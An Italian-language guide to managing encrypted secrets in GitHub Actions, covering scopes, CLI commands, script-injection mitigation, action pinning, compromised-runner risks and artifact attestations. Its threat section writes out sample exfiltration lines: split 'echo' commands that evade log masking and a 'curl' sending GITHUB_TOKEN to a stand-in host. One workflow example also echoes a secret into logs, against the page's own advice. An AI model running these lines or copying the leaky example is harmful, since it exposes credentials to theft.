Gestire segreti crittografati

4 minuti

I segreti sono variabili di ambiente crittografate che archiviano token, credenziali e altre informazioni riservate. Quando necessario, i flussi di lavoro e le azioni di GitHub Actions possono usare questi segreti. Dopo la creazione, i segreti diventano accessibili ai flussi di lavoro e alle azioni che dispongono dell'autorizzazione per accedere all'organizzazione, al repository o all'ambiente in cui sono definiti i segreti.

Questa sezione illustra come gestire i segreti crittografati usando strumenti e strategie in GitHub Enterprise Cloud e GitHub Enterprise Server. Si apprenderà anche come usare questi segreti all'interno dei flussi di lavoro e delle azioni.

Gestire i segreti crittografati nell'organizzazione

GitHub Actions consente di archiviare e usare in modo sicuro dati sensibili, ad esempio chiavi API, token di autenticazione, password e certificati, tramite segreti crittografati. Questi segreti vengono archiviati e inseriti in modo sicuro nei flussi di lavoro. Questa progettazione garantisce che non vengano visualizzate nei log o nel codice sorgente.

In un ambiente aziendale, la gestione efficace dei segreti è fondamentale. Consente di mantenere la sicurezza, soddisfare i requisiti di conformità e supportare l'efficienza operativa. GitHub consente di gestire i segreti a quattro livelli: enterprise, organizzazione, repository e ambiente.

Ambito dei segreti crittografati

Comprendere l'ambito dei segreti è essenziale per gestirli in modo sicuro in un ambiente aziendale.

Livello segreto	Ambito	Chi può accedere	Casi d'uso comuni
Segreti a livello di azienda	Applicare a tutti i repository in un'organizzazione GitHub Enterprise Cloud.	Proprietari dell'organizzazione, amministratori della sicurezza	Condividere le credenziali tra più repository.
Segreti a livello di organizzazione	Applicare a tutti i repository in un'organizzazione; facoltativamente, limitare i repository selezionati.	Proprietari dell'organizzazione, amministratori della sicurezza	Accedere ai servizi cloud e ai database condivisi.
Segreti a livello di repository	Si applica solo a un singolo repository.	Amministratori del repository, esecutori del flusso di lavoro	Proteggere le credenziali per la distribuzione in un unico repository.
Segreti a livello di ambiente	Applicare a ambienti di distribuzione specifici all'interno di un repository, ad esempio gestione temporanea o produzione.	Strumenti di esecuzione del flusso di lavoro nell'ambiente specificato	Separare le credenziali in base all'ambiente di distribuzione.

Considerazioni chiave:

I segreti aziendali sono esclusivi di GitHub Enterprise Cloud e supportano la gestione centralizzata in un'organizzazione.
I segreti dell'organizzazione offrono un controllo di accesso granulare e possono essere limitati a repository specifici.
I segreti dell'ambiente consentono di evitare l'esposizione involontaria limitando l'accesso agli ambienti del flusso di lavoro.

Gestire i segreti crittografati a livello di organizzazione

La creazione di segreti crittografati a livello di organizzazione consente di proteggere le informazioni riservate riducendo al contempo lo sforzo necessario per gestire i segreti in più repository.

Ad esempio, alcuni sviluppatori che scrivono flussi di lavoro nell'organizzazione GitHub necessitano delle credenziali per distribuire il codice nell'ambiente di produzione in alcuni dei flussi di lavoro. Per evitare di dover condividere informazioni riservate, è possibile creare un segreto crittografato contenente le credenziali a livello di organizzazione. Le credenziali possono quindi essere usate nei flussi di lavoro senza dover essere esposte.

Per creare un segreto a livello di organizzazione, passare alle impostazioni dell'organizzazione e dalla barra laterale selezionare Segreti e variabili > Azioni > Nuovo segreto dell'organizzazione. Nella schermata visualizzata immettere un nome e un valore e scegliere i criteri di accesso al repository relativi al segreto:

Nuova schermata segreta per le organizzazioni.

Dopo il salvataggio, i criteri di accesso vengono visualizzati sotto il segreto nell'elenco:

Esempio di segreti crittografati con i criteri di accesso visualizzati.

È possibile selezionare Aggiorna per altri dettagli sulle autorizzazioni configurate per il segreto.

Gestione dei segreti crittografati Organization-Level tramite CLI di GitHub

Creare un segreto per un'organizzazione:

gh secret set SECRET_NAME --org my-org --body "super-secret-value"

Elencare tutti i segreti dell'organizzazione:
```
gh secret list --org my-org
```

Aggiornare un segreto esistente:

gh secret set SECRET_NAME --org my-org --body "new-secret-value"

Eliminare un segreto:

gh secret delete SECRET_NAME --org my-org

Considerazioni sulla sicurezza per i segreti dell'organizzazione

Limitare i segreti a repository specifici anziché concedere l'accesso a tutti i repository per impostazione predefinita.
Implementare il controllo degli accessi in base al ruolo per garantire che solo i membri del team autorizzati possano creare, aggiornare o eliminare segreti.
Monitorare regolarmente i log di accesso per identificare e rispondere a attività non autorizzate o sospette.

Gestire i segreti crittografati a livello di repository

Per definire l'ambito di un segreto in un repository specifico, usare GitHub Enterprise Cloud o GitHub Enterprise Server.

Creare un segreto a livello di repository

Passare alle impostazioni del repository.
SelezionareSegreti e variabili > Azioni, quindi Nuovo segreto del repository.
Immettere un nome e un valore per il segreto.

Nuova schermata privata per i repository.

Gestire segreti crittografati a livello di repository tramite l'interfaccia della riga di comando

Elenca i segreti del repository:
```
gh secret list --repo my-repo
```

Aggiornare un segreto del repository:

gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"

Eliminare un segreto del repository:

gh secret delete SECRET_NAME --repo my-repo

Accedere ai segreti crittografati all'interno di azioni e flussi di lavoro

Nei flussi di lavoro

Accedi ai segreti usando il contesto secrets. Usa with per passare il segreto come input oppure env per impostarlo come variabile di ambiente.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

Usare with:Passare il segreto come parametro di input all'azione. Questo metodo viene comunemente usato quando l'azione definisce in modo esplicito gli input nel relativo action.yml.
Usare env:Esporre il segreto come variabile di ambiente nella fase. Questo approccio è utile quando il comando nel passaggio o uno script all'interno dell'azione prevede una variabile di ambiente.

In Azioni

Per usare i segreti all'interno di un'azione personalizzata, definirli come input nel action.yml file di metadati e accedervi come variabili di ambiente nel codice azione.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

Definire in action.yml:Specificare il segreto come input obbligatorio o facoltativo.
Accesso nel codice:leggere il segreto usando Actions Toolkit (scelta consigliata) o facendo riferimento alle variabili di ambiente, se impostate.

Avviso

Evitare di codificare i segreti nel codice sorgente dell'azione. Per gestire in modo sicuro gli input e i segreti, usare Actions Toolkit per la gestione dei valori all'interno della logica del codice.

Configurare la protezione avanzata per GitHub Actions

Il rafforzamento della sicurezza per GitHub Actions ha un ruolo nel mantenimento della sicurezza della catena di fornitura del software. Le sezioni seguenti illustrano le procedure consigliate per rafforzare la sicurezza delle azioni usate nei flussi di lavoro.

Identificare le procedure consigliate per mitigare gli attacchi di inserimento di script

Alcune procedure consigliate per mitigare gli attacchi di inserimento di script in GitHub actions includono:

Usare azioni Javascript anziché script inline: usare azioni Javascript che accettano valori di contesto come argomenti anziché incorporare tali valori in script inline. Questo approccio riduce il rischio di inserimento di script perché i dati di contesto non vengono usati per generare o eseguire direttamente i comandi della shell.

Il passaggio di una variabile come input a un'azione JavaScript consente di evitare che venga usato in un attacco di tipo script injection.
```
 uses: fakeaction/checktitle@v3
 with:
   title: ${{ github.event.pull_request.title }} 
```
Usare le variabili di ambiente intermedie negli script inline: quando si usano script inline, valutare le variabili come variabili di ambiente prima di usarle nei comandi. Questo approccio garantisce che i valori vengano risolti prima dell'esecuzione dello script, riducendo il rischio di inserimento di script. Ad esempio, l'uso github.event.pull_request.title di come variabile di ambiente consente di proteggersi da vulnerabilità di inserimento:
```
- name: Check PR title
    env:
      TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
      else
      echo "PR title did not start with 'octocat'"
      exit 1
      fi
```
Sfruttare i modelli di flusso di lavoro per implementare l'analisi del codice: passare alla scheda Azioni del repository e selezionare il pulsante Nuovo flusso di lavoro nel riquadro sinistro. Nella pagina Scegliere un flusso di lavoroindividuare la sezione Sicurezza per accedere e applicare i modelli di flusso di lavoro.

Configurare lo scanner CodeQL per l'esecuzione su eventi specifici, consentendo di analizzare i file di un ramo e contrassegnare le esposizioni CWE (enumerazioni di debolezza comuni) nelle azioni usate nei flussi di lavoro, incluse vulnerabilità come l'inserimento di script.
Limitare le autorizzazioni per i token: assicurarsi di applicare sempre a rule of least privilege qualsiasi token creato. In altre parole, assicurarsi che al token siano assegnati i privilegi minimi per ottenere l'attività per cui è stata creata.

Procedure consigliate per l'uso sicuro di azioni di terze parti

Seguire queste procedure consigliate per incorporare in modo sicuro le azioni di terze parti nei flussi di lavoro:

Aggiungere azioni a un tag solo se l'autore è attendibile Usare tag di versione come v1 o v2, solo quando l'autore dell'azione viene verificato e considerato attendibile. Questa azione consente di ridurre il rischio di modifiche impreviste nelle versioni future.
```
- name: Checkout
  uses: actions/checkout@v4  # Pinned to a specific version tag
```
Preferire associare le azioni a uno SHA di commit completo L'associazione a uno SHA di commit completo garantisce l'uso di una versione immutabile dell'azione. Verificare sempre che il commit SHA provenga dal repository previsto.
```
- name: Checkout
  uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
```
Controllare il codice sorgente dell'azione Esaminare l'origine dell'azione per verificare che gestisca i dati in modo sicuro e non includa comportamenti imprevisti o dannosi.

Indicatori di un'azione di terze parti attendibile

Usare azioni attendibili per ridurre i rischi nei flussi di lavoro.

Cerca il badge Verificato: Le azioni attendibili vengono visualizzate in GitHub Marketplace e mostrano un badge autore verificato accanto al titolo, informando che l'autore è stato verificato da GitHub.
Controllare la documentazione: Il action.yml file deve essere ben documentato e descrivere chiaramente il funzionamento dell'azione.

Screenshot che mostra l'interfaccia di GitHub Marketplace per la gestione dei segreti crittografati.

Usare gli aggiornamenti delle versioni di Dependabot per mantenere aggiornate le azioni

Abilitare gli aggiornamenti della versione dependabot per mantenere aggiornate e sicure automaticamente le dipendenze di GitHub Actions.

Potenziale impatto di uno strumento di esecuzione compromesso

Questa sezione descrive i possibili vettori di attacco che potrebbero essere sfruttati se un runner viene compromesso.

Esfiltrazione di dati da uno strumento di esecuzione

Anche se GitHub Actions nascondono automaticamente i segreti dai log, questa operazione non costituisce un confine di sicurezza completo. Se uno strumento di esecuzione viene compromesso, un utente malintenzionato può esporre intenzionalmente i segreti stampandoli nel log. Ad esempio:

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

Un runner compromesso può essere usato anche per inoltrare segreti o altri dati sensibili del repository a un server esterno tramite richieste HTTP scriptate.

Accesso ai segreti

I flussi di lavoro attivati dai repository con fork che usano l'evento pull_request dispongono di autorizzazioni di sola lettura e non possono accedere ai segreti. Tuttavia, le autorizzazioni variano a seconda del tipo di evento, ad esempio issue_comment, issues, pusho pull_request da un ramo all'interno dello stesso repository. Se uno strumento di esecuzione viene compromesso, esiste il rischio che i segreti del repository possano essere esposti o che un processo GITHUB_TOKEN con autorizzazioni di scrittura possa essere usato in modo improprio.

Se un segreto o un token viene assegnato a una variabile di ambiente, è possibile accedervi direttamente tramite printenv.
Se si fa riferimento direttamente a un segreto in un'espressione, lo script della shell generato contenente il valore risolto viene archiviato su disco e può essere accessibile.
Per le azioni personalizzate, il livello di rischio dipende dalla modalità di gestione del segreto all'interno della logica dell'azione. Ad esempio:

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

Anche se GitHub Actions rimuove i segreti dalla memoria quando non vengono fatti riferimenti nel flusso di lavoro o nelle azioni incluse, i GITHUB_TOKEN e i segreti usati attivamente rimangono a rischio di essere sfruttati se il runner viene compromesso.

Rubare un processo `GITHUB_TOKEN`

Un utente malintenzionato può essere in grado di rubare il GITHUB_TOKEN di un processo. GitHub Actions fornisce automaticamente questo token con autorizzazioni con ambito limitate al repository che esegue il flusso di lavoro. Il token scade dopo il completamento del processo e non può essere riutilizzato in seguito.

Tuttavia, uno strumento di esecuzione compromesso può essere usato per esfiltrare il token immediatamente durante l'esecuzione del processo. Un utente malintenzionato può automatizzare una richiesta a un server che controlla per acquisire il token prima della scadenza. Ad esempio:

curl http://example.com?token=$GITHUB_TOKEN

Modifica del contenuto del repository

Se un oggetto GITHUB_TOKEN viene rubato, un sistema controllato da un utente malintenzionato può usarlo per chiamare l'API GitHub e modificare il contenuto del repository.

L'applicazione del principio dei privilegi minimi alle autorizzazioni del token consente di ridurre questo rischio. Limitare l'accesso del token solo a ciò che è necessario per il processo.

Gestione dell'accesso tra repository

Quando i flussi di lavoro richiedono l'accesso a più repository, è importante scegliere le credenziali che riducono al minimo i rischi per la sicurezza. Alcune delle opzioni consigliate, elencate dalla più alla meno preferita, includono:

GITHUB_TOKEN

GitHub genera automaticamente l'oggetto GITHUB_TOKEN per ogni esecuzione del flusso di lavoro. È limitato al singolo repository che attiva il flusso di lavoro e fornisce autorizzazioni equivalenti a un utente con accesso in scrittura in tale repository. Il token viene creato all'inizio di ogni processo e scade al termine del processo.

Usare il GITHUB_TOKEN ogni volta possibile per un'autenticazione sicura e con ambito. Per informazioni dettagliate, vedere Autenticazione automatica dei token.
Chiave di distribuzione del repository

Per clonare o eseguire il push usando Git all'interno dei flussi di lavoro, usare le chiavi di distribuzione che forniscono l'accesso in lettura o scrittura a un singolo repository.

Tuttavia, le chiavi di distribuzione non supportano l'accesso alle API REST o GraphQL di GitHub. Usarli solo quando l'accesso all'API non è necessario e l'accesso Git è sufficiente.

Token dell'app GitHub

Le app GitHub offrono autorizzazioni con granularità fine e possono essere installate nei repository selezionati. È possibile creare un'app GitHub interna, installarla nei repository necessari ed eseguire l'autenticazione come installazione dell'app all'interno del flusso di lavoro per accedere a tali repository.

Questo approccio offre un controllo di accesso e un controllo migliori rispetto ai token personali.

Token di accesso personale

Evitare di usare i token di accesso personali classici nei flussi di lavoro. Questi token concedono l'accesso generale in tutti i repository personali e aziendali associati all'utente, introducendo un rischio significativo. Se il flusso di lavoro viene eseguito in un repository con più collaboratori, tutti gli utenti con accesso in scrittura ereditano effettivamente i privilegi del token.

Se è necessario usare un token personale, creare un PAT a grana fine associato a un account aziendale dedicato. Limitare l'accesso solo ai repository specifici richiesti dal flusso di lavoro.

Annotazioni

Questo approccio è difficile da ridimensionare ed è preferibile evitare a favore delle chiavi di distribuzione o di GitHub Apps.

Screenshot che mostra un pulsante per generare un nuovo token di accesso personale gitHub.

Chiavi SSH sugli account personali

Non usare mai chiavi SSH da account personali nei flussi di lavoro. Analogamente alle API classiche, concedono l'accesso a tutti i repository associati all'account, inclusi i repository personali e dell'organizzazione. Questo errore espone i flussi di lavoro a rischi non necessari.

Se il caso d'uso prevede la clonazione o il push tramite Git, è consigliabile usare invece le chiavi di distribuzione. Forniscono l'accesso limitato senza esporre i repository non correlati o richiedere credenziali personali.

Controllare gli eventi di GitHub Action

Tipo di azione, quando è stato eseguito e quale account personale ha eseguito l'azione vengono registrati nel "log di sicurezza" e nel "log di controllo". Il "log di sicurezza" registra gli eventi correlati all'account utente. Il "log di controllo" registra gli eventi correlati all'organizzazione. Pertanto, visualizzando entrambi questi log, è possibile controllare gli eventi correlati alle azioni github.

Uso di OIDC con GitHub Actions

È possibile configurare i flussi di lavoro per l'autenticazione diretta con un provider di servizi cloud usando OIDC (OpenID Connect). In questo caso, non è più necessario archiviare le credenziali come segreti.

Attestazioni degli artefatti per GitHub Actions

Le attestazioni degli artefatti consentono di stabilire la provenienza delle compilazioni, migliorando la sicurezza della supply chain del software verificando cosa è stato creato, dove e come.

Cosa attestare

Con GitHub Actions, puoi attestare la provenienza della build e lo SBOM (Software Bill of Materials) per i file binari e le immagini container.

Generazione di attestazioni degli artefatti per le compilazioni

Quando si genera un'attestazione dell'artefatto per le compilazioni, è necessario assicurarsi di:

Nel flusso di lavoro sono configurate le autorizzazioni appropriate
È stato incluso un passaggio nel flusso di lavoro che usa l'azione attesta-build-provenance.

L'attestazione stabilisce la provenienza della compilazione. È possibile visualizzare le attestazioni nella scheda Azioni del repository.

Screenshot che mostra la configurazione delle attestazioni in GitHub correlata alla gestione dei segreti crittografati.

Generazione di un'attestazione per l'origine della build dei file binari

È necessario aggiungere le autorizzazioni seguenti al flusso di lavoro che compila il file binario per cui si intende attestare:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
```

È necessario aggiungere il passaggio seguente dopo il passaggio in cui viene compilato il file binario:

  - name: Generate artifact attestation
    uses: actions/attest-build-provenance@v2
    with:
     subject-path: 'PATH/TO/ARTIFACT'

Annotazioni

Si noti che il valore del subject-path parametro è impostato sul percorso del file binario che si attesta.

Generazione di un'attestazione per la provenienza della compilazione di immagini del contenitore

Aggiungere le autorizzazioni seguenti al flusso di lavoro che compila l'immagine del contenitore:
```
permissions:
  id-token: write
  contents: read
  attestations: write
  packages: write
```
Aggiungere questo passaggio dopo aver compilato l'immagine del contenitore:
```
- name: Generate artifact attestation
  uses: actions/attest-build-provenance@v2
  with:
    subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
    subject-digest: 'sha256:fedcba0...'
    push-to-registry: true
```
Annotazioni
- Il subject-name valore deve essere un nome di immagine completo, ad esempio ghcr.io/user/app o acme.azurecr.io/user/app. Non includere un tag.
- Il subject-digest deve essere un digest SHA256 dell'immagine, nel formato sha256:HEX_DIGEST.
- Se il flusso di lavoro usa docker/build-push-action, è possibile recuperare il digest dal relativo output. Per informazioni dettagliate, vedere sintassi del flusso di lavoro per GitHub Actions.

Generazione di attestazioni per SBOMs

È possibile generare attestazioni SBOM per un S SBOM. Per generare e attestare un SBOM, è necessario eseguire i seguenti passaggi:

Assicurarsi di impostare le autorizzazioni appropriate nel flusso di lavoro, come illustrato negli esempi.
È necessario generare un SBOM per l'artefatto in un passaggio del flusso di lavoro. Per un esempio, vedere anchore-sbom-action in GitHub Marketplace.
Includere un passaggio nel flusso di lavoro che usa l'azione attesta-sbom (vedere gli esempi seguenti)

Generazione di un'attestazione SBOM per i file binari

Aggiungere le autorizzazioni seguenti al flusso di lavoro che compila il file binario per il quale verrà generata un'attestazione SBOM:
```
    permissions:
     id-token: write
     contents: read
     attestations: write
```

Aggiungere il passaggio seguente dopo i passaggi in cui viene compilato il file binario e generato SBOM:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-path: 'PATH/TO/ARTIFACT'
      sbom-path: 'PATH/TO/SBOM'

Si noti che il valore del subject-path parametro deve essere impostato sul percorso del file binario descritto da SBOM. Il valore del sbom-path parametro deve essere impostato sul percorso del file SBOM generato.

Generazione di un'attestazione SBOM per le immagini del contenitore

È necessario aggiungere le autorizzazioni seguenti al flusso di lavoro che compila il file binario per il quale verrà generata un'attestazione SBOM:
```
   permissions:
    id-token: write
    contents: read
    attestations: write
    packages: write
```

È necessario aggiungere il passaggio seguente dopo i passaggi in cui viene compilato il file binario e generato SBOM:

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
      subject-digest: 'sha256:fedcba0...'
      sbom-path: 'sbom.json'
      push-to-registry: true

Si noti che il valore del subject-name parametro specifica il nome completo dell'immagine. Ad esempio, ghcr.io/user/app o acme.azurecr.io/user/app. Non includere un tag come parte del nome dell'immagine.

Il valore del parametro subject-digest deve essere impostato sul digest SHA256 del soggetto per l'attestazione, nel sha256:HEX_DIGEST del formato. Se il flusso di lavoro usa docker/build-push-action, è possibile usare l'output del digest di tale passaggio per specificare il valore (vedere build-push-action). Per altre informazioni sull'uso degli output, vedere Sintassi del flusso di lavoro per GitHub Actions.

Il valore del sbom-path parametro deve essere impostato sul percorso del file SBOM in formato JSON per il quale si intende attestare.

Verifica delle attestazioni degli artefatti con l'interfaccia della riga di comando di GitHub

È possibile convalidare le attestazioni degli artefatti descritte in precedenza usando l'interfaccia della riga di comando di GitHub. Per ulteriori informazioni, consultare la sezione relativa all'attestazione del manuale CLI di GitHub.

Avviso

È importante ricordare che le attestazioni degli artefatti non sono una garanzia che un artefatto sia sicuro. Le attestazioni degli artefatti consentono invece di collegarsi al codice sorgente e alle istruzioni di compilazione che li hanno generati. Spetta all'utente definire i criteri dei criteri, valutare tale criterio valutando il contenuto e prendere una decisione di rischio informata quando si utilizza il software.

Accedere ai segreti crittografati all'interno di azioni e flussi di lavoro

Esempio: uso di un segreto in un flusso di lavoro

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

Procedure consigliate per l'uso di segreti nei flussi di lavoro

Non stampare segreti nei log usando echo ${{ secrets.SECRET_NAME }}.
Usare i segreti all'interno dei comandi script, anziché assegnarli alle variabili di ambiente.
Limitare l'accesso definendo i segreti al livello più basso necessario.
Rotazione periodica dei segreti e adeguamento conseguente dei flussi di lavoro.

Come usare gli insiemi di credenziali di terze parti

Molte aziende integrano GitHub Actions con soluzioni di gestione dei segreti esterne, ad esempio HashiCorp Vault, AWS Secrets Manager e Azure Key Vault.

1. HashiCorp Vault

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS (Amazon Web Services) Secrets Manager

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

Vantaggi dell'uso di insiemi di credenziali di terze parti

La gestione centralizzata dei segreti riduce i rischi per la sicurezza.
La rotazione automatica dei segreti consente di rispettare i criteri di sicurezza.
I log di controllo e il controllo di accesso migliorano il monitoraggio della sicurezza.
L'accesso con privilegi minimi impedisce l'uso non autorizzato dei segreti.

Commenti e suggerimenti

Questa pagina è stata utile?

Gestire segreti crittografati

Gestire i segreti crittografati nell'organizzazione

Ambito dei segreti crittografati

Gestire i segreti crittografati a livello di organizzazione

Gestione dei segreti crittografati Organization-Level tramite CLI di GitHub

Considerazioni sulla sicurezza per i segreti dell'organizzazione

Gestire i segreti crittografati a livello di repository

Creare un segreto a livello di repository

Gestire segreti crittografati a livello di repository tramite l'interfaccia della riga di comando

Accedere ai segreti crittografati all'interno di azioni e flussi di lavoro

Nei flussi di lavoro

In Azioni

Configurare la protezione avanzata per GitHub Actions

Identificare le procedure consigliate per mitigare gli attacchi di inserimento di script

Procedure consigliate per l'uso sicuro di azioni di terze parti

Indicatori di un'azione di terze parti attendibile

Usare gli aggiornamenti delle versioni di Dependabot per mantenere aggiornate le azioni

Potenziale impatto di uno strumento di esecuzione compromesso

Esfiltrazione di dati da uno strumento di esecuzione

Accesso ai segreti

Rubare un processo GITHUB_TOKEN

Modifica del contenuto del repository

Gestione dell'accesso tra repository

Controllare gli eventi di GitHub Action

Uso di OIDC con GitHub Actions

Attestazioni degli artefatti per GitHub Actions

Cosa attestare

Generazione di attestazioni degli artefatti per le compilazioni

Generazione di un'attestazione per l'origine della build dei file binari

Generazione di un'attestazione per la provenienza della compilazione di immagini del contenitore

Generazione di attestazioni per SBOMs

Generazione di un'attestazione SBOM per i file binari

Generazione di un'attestazione SBOM per le immagini del contenitore

Verifica delle attestazioni degli artefatti con l'interfaccia della riga di comando di GitHub

Accedere ai segreti crittografati all'interno di azioni e flussi di lavoro

Esempio: uso di un segreto in un flusso di lavoro

Procedure consigliate per l'uso di segreti nei flussi di lavoro

Come usare gli insiemi di credenziali di terze parti

1. HashiCorp Vault

2. AWS (Amazon Web Services) Secrets Manager

3. Azure Key Vault

Vantaggi dell'uso di insiemi di credenziali di terze parti

Commenti e suggerimenti

Rubare un processo `GITHUB_TOKEN`